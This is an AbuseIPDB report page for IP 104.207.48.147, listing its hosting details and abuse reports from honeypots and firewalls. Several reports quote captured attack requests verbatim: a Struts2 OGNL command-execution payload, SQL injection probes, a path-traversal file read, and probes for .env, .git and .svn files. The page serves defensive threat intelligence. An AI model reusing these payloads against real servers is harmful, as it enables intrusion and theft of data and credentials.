JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 104.207.48.147

104.207.48.147 was found in our database!

This IP was reported 146 times. Confidence of Abuse is 11%: ?

11%

ISP	3xK Tech GmbH
Usage Type	Data Center/Web Hosting/Transit
ASN	AS200373
Domain Name	3xktech.cloud
Country	🇨🇦 Canada
City	Toronto, Ontario

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 104.207.48.147

Whois 104.207.48.147

IP Abuse Reports for 104.207.48.147:

This IP address has been reported a total of 146 times from 19 distinct sources. 104.207.48.147 was first reported on June 6th 2024, and the most recent report was 1 week ago.

Old Reports: The most recent abuse report for this IP address is from 1 week ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇬🇧 PeravixGroup	2026-05-22 11:36:39 (1 week ago)	Honeypot detection: Web application scanning / reconnaissance attempt on port 8080. Severity: LOW. A ... show more Honeypot detection: Web application scanning / reconnaissance attempt on port 8080. Severity: LOW. Aaran.cloud show less	Port Scan Bad Web Bot
🇨🇳 ThreatBook.io	2026-05-09 23:36:57 (3 weeks ago)	ThreatBook Intelligence: http_proxy,Gateway more details on https://threatbook.io/ip/104.207.48.147 ... show more ThreatBook Intelligence: http_proxy,Gateway more details on https://threatbook.io/ip/104.207.48.147 2026-05-09 17:28:02 /module/AIP/get_file.php?MODULE=/&ATTACHMENT_ID=.._webroot/inc/oa_config&ATTACHMENT_NAME=php show less	Web App Attack
🇨🇳 ThreatBook.io	2026-04-09 23:17:44 (1 month ago)	ThreatBook Intelligence: http_proxy,Zombie more details on https://threatbook.io/ip/104.207.48.147 2 ... show more ThreatBook Intelligence: http_proxy,Zombie more details on https://threatbook.io/ip/104.207.48.147 2026-04-09 09:04:12 /shop/index.php?c=search&catid=23%20and%20(select%201%20from%20(select%20count(),concat(md5(1),floor(rand(0)2))x%20from%20information_schema.tables%20group%20by%20x)a) show less	Web App Attack
🇨🇳 ThreatBook.io	2026-04-03 23:30:24 (2 months ago)	ThreatBook Intelligence: http_proxy,Zombie more details on https://threatbook.io/ip/104.207.48.147 2 ... show more ThreatBook Intelligence: http_proxy,Zombie more details on https://threatbook.io/ip/104.207.48.147 2026-04-03 05:47:28 / 2026-04-03 05:47:29 /?debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%[email protected]@getRuntime%28%29.exec%28%22netstat%20-an%22%29.getInputStream%28%29%2c%23b%3dnew%20java.io.InputStreamReader%28%23a%29%2c%23c%3dnew%20java.io.BufferedReader%28%23b%29%2c%23d%3dnew%20char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29 show less	Web App Attack
Anonymous	2026-02-05 04:37:08 (4 months ago)	wordpress-trap	Web App Attack
🇪🇸 10dencehispahard SL	2026-01-26 07:36:25 (4 months ago)	Wordpress probing for vulnerabilities	Hacking Exploited Host
🇨🇳 ThreatBook.io	2026-01-23 23:51:50 (4 months ago)	ThreatBook Intelligence: http_proxy,Zombie more details on https://threatbook.io/ip/104.207.48.147 2 ... show more ThreatBook Intelligence: http_proxy,Zombie more details on https://threatbook.io/ip/104.207.48.147 2026-01-23 05:58:58 /druid/index.html 2026-01-23 05:58:57 /nacos/v1/auth/users?pageNo=1&pageSize=10 show less	Web App Attack
🇺🇸 TPI-Abuse	2025-12-28 00:08:55 (5 months ago)	(mod_security) mod_security (id:210492) triggered by 104.207.48.147 (-): 1 in the last 300 secs; Por ... show more (mod_security) mod_security (id:210492) triggered by 104.207.48.147 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sat Dec 27 19:08:49.001934 2025] [security2:error] [pid 28862:tid 28862] [client 104.207.48.147:38799] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "awl-v.com"] [uri "/.env"] [unique_id "aVB1ERDpfQkSbk7DILpDMAAAAAk"] show less	Brute-Force Bad Web Bot Web App Attack
🇨🇳 ThreatBook.io	2025-12-27 23:22:43 (5 months ago)	ThreatBook Intelligence: http_proxy,Zombie more details on https://threatbook.io/ip/104.207.48.147 2 ... show more ThreatBook Intelligence: http_proxy,Zombie more details on https://threatbook.io/ip/104.207.48.147 2025-12-27 11:41:42 /api-docs/ 2025-12-27 11:41:43 /api/swagger/static/index.html 2025-12-27 11:41:43 /api/v1/ 2025-12-27 11:41:41 /mlhkdzpqmv?cb885646=1 2025-12-27 11:42:22 /39.sql.gz 2025-12-27 11:42:20 /Global.asax.bak 2025-12-27 11:42:21 /_vti_pvt/authors.pwd 2025-12-27 11:42:22 /cgi-bin/search.cgi show less	Web App Attack
🇭🇷 IgorS.zg.hr	2025-12-27 22:39:41 (5 months ago)	Web application attack detected by fail2ban	Hacking Web App Attack
🇺🇸 TPI-Abuse	2025-12-27 22:03:12 (5 months ago)	(mod_security) mod_security (id:210492) triggered by 104.207.48.147 (-): 1 in the last 300 secs; Por ... show more (mod_security) mod_security (id:210492) triggered by 104.207.48.147 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sat Dec 27 17:03:07.415045 2025] [security2:error] [pid 1987:tid 1987] [client 104.207.48.147:18535] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rebeccapratt.com"] [uri "/.svn/wc.db"] [unique_id "aVBXmx0P5Owb548X0UZBKgAAAAA"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2025-12-27 20:15:57 (5 months ago)	(mod_security) mod_security (id:210492) triggered by 104.207.48.147 (-): 1 in the last 300 secs; Por ... show more (mod_security) mod_security (id:210492) triggered by 104.207.48.147 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sat Dec 27 15:15:53.506830 2025] [security2:error] [pid 25384:tid 25384] [client 104.207.48.147:35335] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "sbeii.com"] [uri "/.svn/wc.db"] [unique_id "aVA-eTL7fV4h5iH2tTVAmgAAAAg"] show less	Brute-Force Bad Web Bot Web App Attack
Anonymous	2025-12-27 08:38:21 (5 months ago)	"GET /.git/HEAD HTTP/1.1"	Hacking Web App Attack
🇩🇪 iNetWorker	2025-12-26 03:31:28 (5 months ago)	trolling for resource vulnerabilities	Web App Attack
🇨🇳 ThreatBook.io	2025-12-17 23:26:30 (5 months ago)	ThreatBook Intelligence: http_proxy,Zombie more details on https://threatbook.io/ip/104.207.48.147 2 ... show more ThreatBook Intelligence: http_proxy,Zombie more details on https://threatbook.io/ip/104.207.48.147 2025-12-17 05:33:01 /down/index.php?c=search&catid=23%20and%20(select%201%20from%20(select%20count(),concat(md5(1),floor(rand(0)2))x%20from%20information_schema.tables%20group%20by%20x)a) show less	Web App Attack

Showing 1 to 15 of 146 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇰🇷 222.98.122.37

🇮🇹 212.66.99.54

🇷🇺 178.20.45.128

🇨🇳 101.126.11.137

🇺🇸 100.28.191.174

🇷🇴 92.118.39.236

🇺🇸 48.214.144.34

🇱🇹 45.227.254.170

🇳🇱 45.148.10.141

🇮🇪 3.253.24.244

🇺🇸 195.184.76.219

🇮🇳 182.66.91.18

🇻🇳 171.243.149.218

🇨🇳 115.190.192.114

🇱🇹 81.30.98.49

🇳🇱 81.19.216.110

🇲🇽 38.22.170.10

🇺🇸 34.133.210.150

🇮🇳 14.194.125.58

🇰🇷 14.63.166.251